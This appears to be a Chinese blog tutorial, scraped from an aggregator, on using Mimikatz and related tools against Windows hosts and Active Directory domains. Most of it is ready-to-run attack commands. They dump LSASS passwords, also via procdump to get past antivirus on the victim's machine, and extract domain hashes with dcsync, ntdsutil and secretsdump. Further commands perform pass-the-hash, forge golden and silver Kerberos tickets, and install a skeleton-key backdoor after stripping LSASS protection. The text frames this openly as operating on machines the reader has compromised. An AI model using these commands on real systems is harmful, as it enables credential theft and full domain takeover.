zoukankan      html  css  js  c++  java
  • mimikazi教程

    mimikazi教程

    1、简介

    1.1、背景介绍

    Mimikatz 是从 Windows 系统中收集凭证数据最好的工具之一。由于 Mimikatz 的作者 Benjamin Delpy 是法国人,所以描述关于 Mimikatz 用法的资源都是法语的,至少在他的博客中是这样的。 Mimikatz 的 GitHub 页面是英文的,包括了命令的用法等有用信息。

    Mimikatz 是 Benjamin Delpy (@gentilkiwi) 在 2007 年使用 C 语言编写的一个 Windows x32/x64 程序,用于了解更多关于 Windows 的凭据数据(并作为 POC)。

    有两个可选的组件能提供一些额外的功能,mimidrv(与 Windows 内核交互的驱动程序)和 mimilib(绕过 AppLocker,验证包/SSP,密码过滤器以及用于 WinDBG 的 sekurlsa)。

    Mimikatz 需要管理员或 SYSTEM 权限,通常使用 DEBUG 权限执行某些操作,与 LSASS 进程(取决于所做的操作的要求)进行交互。

    Mimikatz 可以通过编译并运行你自己的版本,运行 Mimikatz 可执行文件,利用 Metasploit 脚本,和官方的 PowerShell 版本— Invoke-Mimikatz ,或 Mimikatz 的十多个 PowerShell 变种(我比较偏爱用 PowerShell 写的 Empire,因为它真的很棒!)。

    1.2、官方链接

    mimikatz

    mimikatz wiki

    gentikiwi blog

    1.3、mimikatz 与凭证

    在用户登录之后,会生成很多凭证数据并存储在本地安全权限服务的进程(LSASS)内存中。其目的是为了方便单点登录(SSO)在每次对资源进行访问请求时确保用户不会被提示。凭证数据包括 NTLM 密码哈希,LM 密码哈希(如果密码长度小于 15 个字符),甚至明文密码(以支持其他的 WDigest 和 SSP 认证)。虽然可以阻止 Windows 创建 LM 哈希到本地计算机的 SAM 数据库(或 AD 数据库),但这并不能阻止系统在内存中生成 LM 哈希。默认情况下,在 Windows Server 2008 和 Windows Vista 中不再生成用户的 LM 哈希,除非明确的启用了该功能。从 Windows 8.1 和 Windows Server 2012 R2 开始,LM 哈希和“纯文本”密码将不在内存中生成。此功能也被“移植”到了较早版本的 Windows 中,Windows 7/8/2008 R2/2012 需要打 kb2871997 补丁。为了防止在 LSASS 进程中放置“明文”密码,下面的注册表键需要被设置为“0”(禁用摘要):

    #!bash
    HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSecurityProvidersWDigest “UseLogonCredential”(DWORD)
    

    2、基本使用

    2.1、常用命令

    system::user               //查看当前登录的用户
    process::list              //列出进程
    process::stop processname  //结束进程(有些进程结束不了,即使权限够大)
    process::suspend  processname //暂停进程
    process::modules              //列出系统核心模块和其所在的物理路径
    service::list                 //列出系统服务
    service::stop(start) service_name   //停止(开启)服务
    privilege::list               //列出系统权限列表
    privilege::debug              //提升权限 (执行这条命令得有足够的权限)
    nogpo::cmd                    //打开cmd
    nogpo::regedit                //打开注册表
    ts::sessions                  //显示当前回话
    ts::processes                 //显示当前进程及其PID
    sekurlsa::logonpasswords      //获取当前在线用户的明文密码(需要高权限运行)
    lsadump::lsa /patch           //获取当前此计算机存在过用户的NTLMHASH
    inject::process lsass.exe '路径' sekurlsa.dll //进程注入(如果用1.0版本获取hash的时候发现sekurlsa模块存
    

    2.2、远程连接使用

    1.控制远程的服务器后,‘帮助’对方下载mimikatz,然后以管理员身份运行mimikatz.exe

    2.运行下面指令,即可得到当前内网中的所有密码。

    privilege::debug           //提升权限
    sekurlsa::logonpasswords   //抓取密码
    
    //非交互式shell中
    mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" > pssword.txt 
    

    2.3、本地使用

    果对方电脑开了防火墙,装了杀毒软件,如360,火绒,nod32之类的话。可能就不能在对方电脑上使用mimikatz

    前面说过,mimikatz是从 lsass.exe进程中获取windows的账号及密码的,
    这时,我们可以帮对方安装一个procdump64.exe(这是微软自己的工具,可以放心使用)

    然后从 lsass.exe进程里导出一个 包含账号密码信息的lsass.dmp 文件,再把这个dmp文件传回来,最后在自己的环境下运行mimikatz,从 dmp文件里读取信息。

    1、安装procdump64.exe

    2、从procdump64.exe里导出lsass.dmp

    procdump64.exe -accepteula -ma lsass.exe lsass.dmp
    

    3、将lsass.dmp传回本地

    4、使用本地的mimikatz.exe读取lsass.dmp

    mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
    

    为了方便复制与查看,可以输出到本地文件里面:

    mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" > pssword.txt
    

    2.4、读取域控成员Hash

    2.4.1、域控本地读取

    注:得在域控上以域管理员身份执行mimikatz

    方法一:直接执行

    Copy#提升权限
    privilege::debug
    
    抓取密码
    lsadump::lsa /patch
    

    方法二:通过 dcsync,利用目录复制服务(DRS)从NTDS.DIT文件中检索密码哈希值,可以在域管权限下执行获取:

    Copy#获取所有域用户
    lsadump::dcsync /domain:test.com /all /csv
    
    #指定获取某个用户的hash
    lsadump::dcsync /domain:test.com /user:test
    

    2.4.2、导出域成员Hash

    域账户的用户名和hash密码以域数据库的形式存放在域控制器的 %SystemRoot% tdsNTDS.DIT 文件中。

    这里可以借助:ntdsutil.exe,域控制器自带的域数据库管理工具,我们可以通过域数据库,提取出域中所有的域用户信息,在域控上依次执行如下命令,导出域数据库:

    #创建快照
    ntdsutil snapshot "activate instance ntds" create quit quit
    
    #加载快照
    ntdsutil snapshot "mount {72ba82f0-5805-4365-a73c-0ccd01f5ed0d}" quit quit
    
    #Copy文件副本
    copy C:$SNAP_201911211122_VOLUMEC$windowsNTDS
    tds.dit c:
    tds.dit
    

    将ntds.dit文件拷贝到本地利用impacket脚本dump出Hash:

    Copysecretsdump.py -ntds.dit -system system.hive LOCAL
    

    最后记得卸载删除快照:

    ntdsutil snapshot "unmount {72ba82f0-5805-4365-a73c-0ccd01f5ed0d}" quit quit
    ntdsutil snapshot "delete  {72ba82f0-5805-4365-a73c-0ccd01f5ed0d}" quit quit
    

    2.4.3、secretsdump脚本直接导出域hash

    为什么要再提一遍secretsdump呢,因为它可以直接导出,说白了,简单粗暴:

    Copypython secretsdump.py rabbitmask:123456@192.168.15.181
    

    首先它会导出本地SAM中的hash,然后是所有域内用户的IP,全部获取成功

    2.5、哈希传递

    2.5.1、工作组环境

    当我们获得了一台主机的NTLM哈希值,我们可以使用mimikatz对其进行哈希传递攻击。执行完命令后,会弹出cmd窗口。

    #使用administrator用户的NTLM哈希值进行攻击
    sekurlsa::pth /user:administrator /domain:192.168.10.15 /ntlm:329153f560eb329c0e1deea55e88a1e9
    
    #使用xie用户的NTLM哈希值进行攻击
    sekurlsa::pth /user:xie /domain:192.168.10.15 /ntlm:329153f560eb329c0e1deea55e88a1e9
    

    在弹出的cmd窗口,我们直接可以连接该主机,并且查看该主机下的文件夹。

    或者可以直接将该主机的C盘映射到本地的K盘

    2.5.2 域环境

    在域环境中,当我们获得了域内用户的NTLM哈希值,我们可以使用域内的一台主机用mimikatz对域控进行哈希传递攻击。执行完命令后,会弹出cmd窗口。前提是我们必须拥有域内任意一台主机的本地 administrator 权限和获得了域用户的NTLM哈希值

    域:xie.com
    域控:WIN2008.xie.com

    #使用域管理员administrator的NTLM哈希值对域控进行哈希传递攻击
    sekurlsa::pth /user:administrator /domain:"xie.com" /ntlm:dbd621b8ed24eb627d32514476fac6c5 
    #使用域用户xie的NTLM哈希值对域控进行哈希传递攻击
    sekurlsa::pth /user:xie /domain:"xie.com" /ntlm:329153f560eb329c0e1deea55e88a1e9   
    

    2.6 票据传递攻击(PTT)

    2.6.1 黄金票据

    域中每个用户的 Ticket 都是由 krbtgt 的密码 Hash 来计算生成的,因此只要获取到了 krbtgt 用户的密码 Hash ,就可以随意伪造 Ticket ,进而使用 Ticket 登陆域控制器,使用 krbtgt 用户 hash 生成的票据被称为 Golden Ticket,此类攻击方法被称为票据传递攻击。

    首先获取krbtgt的用户hash:

    mimikatz "lsadump::dcsync /domain:xx.com /user:krbtgt"
    

    利用 mimikatz 生成域管权限的 Golden Ticket,填入对应的域管理员账号、域名称、sid值,如下:

    kerberos::golden /admin:administrator /domain:ABC.COM /sid:S-1-5-21-3912242732-2617380311-62526969 /krbtgt:c7af5cfc450e645ed4c46daa78fe18da /ticket:test.kiribi
    
    #导入刚才生成的票据
    kerberos::ptt test.kiribi
    
    #导入成功后可获取域管权限
    dir \dc.abc.comc$
    

    2.6.2 白银票据

    黄金票据和白银票据的一些区别:Golden Ticket:伪造TGT,可以获取任何 Kerberos 服务权限,且由 krbtgt 的 hash 加密,金票在使用的过程需要和域控通信

    白银票据:伪造 TGS ,只能访问指定的服务,且由服务账号(通常为计算机账户)的 Hash 加密 ,银票在使用的过程不需要同域控通信

    #在域控上导出 DC$ 的 HASH
    mimikatz log "privilege::debug" "sekurlsa::logonpasswords"
    
    #利用 DC$ 的 Hash制作一张 cifs 服务的白银票据
    kerberos::golden /domain:ABC.COM /sid: S-1-5-21-3912242732-2617380311-62526969 /target:DC.ABC.COM /rc4:f3a76b2f3e5af8d2808734b8974acba9 /service:cifs /user:strage /ptt
    
    #cifs是指的文件共享服务,有了 cifs 服务权限,就可以访问域控制器的文件系统
    dir \DC.ABC.COMC$
    

    2.6.3 skeleton key

    skeleton key(万能钥匙)就是给所有域内用户添加一个相同的密码,域内所有的用户 都可以使用这个密码进行认证,同时原始密码也可以使用,其原理是对 lsass.exe 进行注 入,所以重启后会失效。

    #在域控上安装 skeleton key
    mimikatz.exe privilege::debug "misc::skeleton"
    
    #在域内其他机器尝试使用 skeleton key 去访问域控,添加的密码是 mimikatz
    net use \WIN-9P499QKTLDO.adtest.comc$ mimikatz /user:adtestadministrator
    

    微软在 2014 年 3 月 12 日添加了 LSA 爆护策略,用来防止对进程 lsass.exe 的代码注入。如果直接尝试添加 skelenton key 会失败。

    #适用系统
    windows 8.1
    windows server 2012 及以上
    

    当然 mimikatz 依旧可以绕过,该功能需要导入mimidrv.sys文件,导入命令如下:

    privilege::debug
    !+
    !processprotect /process:lsass.exe /remove 
    misc::skeleton
    

    3.6.4 MS14-068

    当我们拿到了一个普通域成员的账号后,想继续对该域进行渗透,拿到域控服务器权限。如果域控服务器存在 MS14_068 漏洞,并且未打补丁,那么我们就可以利用 MS14_068 快速获得域控服务器权限。

    MS14-068编号 CVE-2014-6324,补丁为 3011780 ,如果自检可在域控制器上使用命令检测。

    Copysysteminfo |find "3011780"
    #为空说明该服务器存在MS14-068漏洞
    

    操作链接:MS14-068复现(CVE-2014-6324):https://www.cnblogs.com/-mo-/p/11890539.html

    3、msf中的kiwi

    使用kiwi模块需要system权限,所以我们在使用该模块之前需要将当前MSF中的shell提升为system。提到system有两个方法,一是当前的权限是administrator用户,二是利用其它手段先提权到administrator用户。然后administrator用户可以直接getsystem到system权限

    进程迁移

    kiwi模块同时支持32位和64位的系统,但是该模块默认是加载32位的系统,所以如果目标主机是64位系统的话,直接默认加载该模块会导致很多功能无法使用。所以如果目标系统是64位的,则必须先查看系统进程列表,然后将meterpreter进程迁移到一个64位程序的进程中,才能加载kiwi并且查看系统明文。如果目标系统是32位的,则没有这个限制。

    基本使用

    load kiwi       #加载kiwi模块
    help kiwi       #查看kiwi模块的使用
    creds_all       #列举所有凭据,该命令可以列举系统中的明文密码
    creds_kerberos  #列举所有kerberos凭据
    creds_msv       #列举所有msv凭据
    creds_ssp       #列举所有ssp凭据
    creds_tspkg     #列举所有tspkg凭据
    creds_wdigest   #列举所有wdigest凭据
    dcsync          #通过DCSync检索用户帐户信息
    dcsync_ntlm     #通过DCSync检索用户帐户NTLM散列、SID和RID
    golden_ticket_create   #创建黄金票据
    kerberos_ticket_list   #列举kerberos票据
    kerberos_ticket_purge  #清除kerberos票据
    kerberos_ticket_use    #使用kerberos票据
    kiwi_cmd      #执行mimikatz的命令,该模块可以让我们使用mimikatz的全部功能,后面接mimikatz.exe的命令
    lsa_dump_sam        #dump出lsa的SAM
    lsa_dump_secrets    #dump出lsa的密文
    password_change     #修改密码
    wifi_list           #列出当前用户的wifi配置文件
    wifi_list_shared    #列出共享wifi配置文件/编码
    

    参考链接

    非官方参考

    详细的使用方法

  • 相关阅读:
    windows环境下封装条件wait和signal
    windows环境利用semophore机制进行线程同步
    Udp打洞原理和源代码。
    ECONNRESET和WSAECONNRESET怎么产生的以及如何避免
    网络编程一些常见问题总结
    Redis
    Django框架(三十)—— 使用Vue搭建前台
    前端(二十三)—— Vue环境搭建
    Django框架(二十九)—— 跨域问题
    Django框架(二十八)—— Django缓存机制
  • 原文地址:https://www.cnblogs.com/tomyyyyy/p/15182003.html
Copyright © 2011-2022 走看看